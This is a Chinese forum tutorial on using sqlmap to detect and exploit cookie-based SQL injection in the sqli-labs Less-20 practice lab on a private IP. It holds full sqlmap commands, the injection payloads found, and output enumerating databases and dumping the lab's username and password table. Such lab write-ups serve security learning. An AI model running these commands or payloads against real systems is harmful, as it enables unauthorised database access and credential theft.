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sqlmap如何进行Cookie注入

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发表于 2021-7-3 10:07:57 | 显示全部楼层 |阅读模式
原文链接：sqlmap如何进行Cookie注入
​
一、检测Cookie注入
1、通过BurpSuite抓包，将封包内容保存到1.txt
  1. GET /sqli/Less-20/index.php HTTP/1.1
  2. Host: 192.168.139.129
  3. Cache-Control: max-age=0
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  7. Referer: http://192.168.139.129/sqli/Less-20/index.php
  8. Accept-Encoding: gzip, deflate
  9. Accept-Language: zh-CN,zh;q=0.9
  10. Cookie: uname=admin; PHPSESSID=6t4bb3nb4rarqod4j073m038h4
  11. Connection: close
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2、判断是否存在注入
  1. sqlmap -r /home/aiyou/桌面/1.txt --cookie "uname=admin" --level 2
  2. --cookie：指定参数
  3. --level 2：等级2以上才会检测cookie注入
复制代码


​
  1. 运行结果：
  2. [16:44:49] [INFO] Cookie parameter 'uname' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                                                                             
  3. Cookie parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
  4. sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
  5. ---
  6. Parameter: uname (Cookie)
  7.     Type: boolean-based blind
  8.     Title: AND boolean-based blind - WHERE or HAVING clause
  9.     Payload: uname=admin' AND 6679=6679 AND 'sdQh'='sdQh; PHPSESSID=6t4bb3nb4rarqod4j073m038h4
  10.     Type: error-based
  11.     Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
  12.     Payload: uname=admin' AND GTID_SUBSET(CONCAT(0x7162717171,(SELECT (ELT(6429=6429,1))),0x717a767a71),6429) AND 'whpT'='whpT; PHPSESSID=6t4bb3nb4rarqod4j073m038h4
  13.     Type: time-based blind
  14.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  15.     Payload: uname=admin' AND (SELECT 6802 FROM (SELECT(SLEEP(5)))pIcR) AND 'rFnD'='rFnD; PHPSESSID=6t4bb3nb4rarqod4j073m038h4
  16.     Type: UNION query
  17.     Title: Generic UNION query (NULL) - 3 columns
  18.     Payload: uname=-4950' UNION ALL SELECT NULL,CONCAT(0x7162717171,0x4f62636a6e49426b5a415141657259517971566f6463496b714561576f4d58446459787146754d78,0x717a767a71),NULL-- -; PHPSESSID=6t4bb3nb4rarqod4j073m038h4
  19. ---
  20. [16:44:55] [INFO] the back-end DBMS is MySQL
  21. web application technology: PHP 5.4.45, Nginx 1.15.11
  22. back-end DBMS: MySQL >= 5.6
  23. [16:44:55] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'   
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二、获取数据库

sqlmap -r /home/aiyou/桌面/1.txt --cookie "uname=admin" --level 2 --dbs
​

  1. 运行结果：
  2. [16:57:57] [INFO] the back-end DBMS is MySQL
  3. web application technology: Nginx 1.15.11, PHP 5.4.45
  4. back-end DBMS: MySQL >= 5.6
  5. [16:57:57] [INFO] fetching database names
  6. do you want to URL encode cookie values (implementation specific)? [Y/n]
  7. [16:57:59] [WARNING] reflective value(s) found and filtering out
  8. available databases [10]:
  9. [*] challenges
  10. [*] dvwa
  11. [*] information_schema
  12. [*] mysql
  13. [*] performance_schema
  14. [*] pikachu
  15. [*] security
  16. [*] sys
  17. [*] www_dgdg_com
  18. [*] www_zm_com
  19. [16:57:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'
复制代码


sqlmap -r /home/aiyou/桌面/1.txt --cookie "uname=admin" --level 2 -D security --tables
​
  1. 运行结果：
  2. [17:05:15] [INFO] the back-end DBMS is MySQL
  3. web application technology: PHP 5.4.45, Nginx 1.15.11
  4. back-end DBMS: MySQL >= 5.6
  5. [17:05:15] [INFO] fetching tables for database: 'security'
  6. do you want to URL encode cookie values (implementation specific)? [Y/n]
  7. [17:05:16] [WARNING] reflective value(s) found and filtering out
  8. Database: security
  9. [4 tables]
  10. +----------+
  11. | emails   |
  12. | referers |
  13. | uagents  |
  14. | users    |
  15. +----------+
  16. [17:05:16] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'
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四、获取字段名

sqlmap -r /home/aiyou/桌面/1.txt --cookie "uname=admin" --level 2 -D security -T users --columns
​
  1. 运行结果：
  2. [17:07:37] [INFO] the back-end DBMS is MySQL
  3. web application technology: PHP 5.4.45, Nginx 1.15.11
  4. back-end DBMS: MySQL >= 5.6
  5. [17:07:37] [INFO] fetching columns for table 'users' in database 'security'
  6. do you want to URL encode cookie values (implementation specific)? [Y/n]
  7. [17:07:38] [WARNING] reflective value(s) found and filtering out
  8. Database: security
  9. Table: users
  10. [3 columns]
  11. +----------+-------------+
  12. | Column   | Type        |
  13. +----------+-------------+
  14. | id       | int(3)      |
  15. | password | varchar(20) |
  16. | username | varchar(20) |
  17. +----------+-------------+
  18. [17:07:38] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'  
复制代码

五、获取字段内容

sqlmap -r /home/aiyou/桌面/1.txt --cookie "uname=admin" --level 2 -D security -T users --dump "username,password"
​
  1. 运行结果：
  2. [17:09:08] [INFO] the back-end DBMS is MySQL
  3. web application technology: PHP 5.4.45, Nginx 1.15.11
  4. back-end DBMS: MySQL >= 5.6
  5. [17:09:08] [INFO] fetching columns for table 'users' in database 'security'
  6. [17:09:08] [INFO] fetching entries for table 'users' in database 'security'
  7. do you want to URL encode cookie values (implementation specific)? [Y/n]
  8. [17:09:09] [WARNING] reflective value(s) found and filtering out
  9. Database: security
  10. Table: users
  11. [13 entries]
  12. +----+------------+----------+
  13. | id | password   | username |
  14. +----+------------+----------+
  15. | 1  | Dumb       | Dumb     |
  16. | 2  | I-kill-you | Angelina |
  17. | 3  | p@ssword   | Dummy    |
  18. | 4  | crappy     | secure   |
  19. | 5  | stupidity  | stupid   |
  20. | 6  | genious    | superman |
  21. | 7  | mob!le     | batman   |
  22. | 8  | admin      | admin    |
  23. | 9  | admin1     | admin1   |
  24. | 10 | admin2     | admin2   |
  25. | 11 | admin3     | admin3   |
  26. | 12 | dumbo      | dhakkan  |
  27. | 14 | admin4     | admin4   |
  28. +----+------------+----------+
  29. [17:09:09] [INFO] table 'security.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.139.129/dump/security/users.csv'                                             
  30. [17:09:09] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'
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六、其他检测Cookie注入方法1、检测是否存在注入

sqlmap -u "http://192.168.139.129/sqli/Less-20/index.php" --cookie "uname=admin" --level 2
2、获取数据库名称

sqlmap -u "http://192.168.139.129/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 --dbs
3、获取表名

sqlmap -u "http://192.168.139.129/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 -D security --tables
4、获取字段名

sqlmap -u "http://192.168.139.129/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 -D security -T users --columns
5、获取字段内容

sqlmap -u "http://192.168.139.129/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 -D security -T users --dump "username,password"
​

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